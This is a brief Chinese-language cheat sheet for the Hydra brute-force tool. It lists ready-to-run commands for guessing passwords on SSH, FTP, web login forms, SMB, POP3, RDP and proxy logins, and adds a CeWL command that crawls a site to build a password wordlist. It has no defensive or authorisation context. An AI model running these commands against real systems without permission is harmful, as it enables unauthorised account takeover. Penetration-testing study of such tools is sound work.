KaliLinx九头蛇爆破工具
hydra
hydra <IP> -L <用户名文件> -P <密码文件> <请求协议> <登录页面路径>
hydra 192.168.1.177 -L user.txt -P user.txt http-get /webdav
-L: 用户名字典
-l: 指定用户名
-P: 密码字典。
-t: 代表线程数。过大的线程,极易导致hydra的奔溃。
-vV: 显示详细过程
hydra -L root -P pass.txt ssh://192.168.1.112 -e nsr
-e: 代表允许空密码验证
1、破解ssh:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
-o:保存为out.txt
2、破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
4、post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip
http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
参数说明:
-t同时线程数3
-l用户名是admin
-P字典pass.txt,保存为out.txt
-f 当破解了一个密码就停止
10.36.16.18目标ip
http-post-form表示破解是采用http的post方式提交的表单密码破解
<title>中的内容是表示错误猜解的返回信息提示。
5、破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
8、破解smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb
9、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
11、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18
CEWL创建字典
输入一下命令,来爬取给定的url,指定爬行深度,并输出单词列表,这个列表可以用来当作爆破的字典
cewl http://192.168.1.177/ -w pass.txt
# 爬行深度,默认2。
-d <x>,
–depth <x>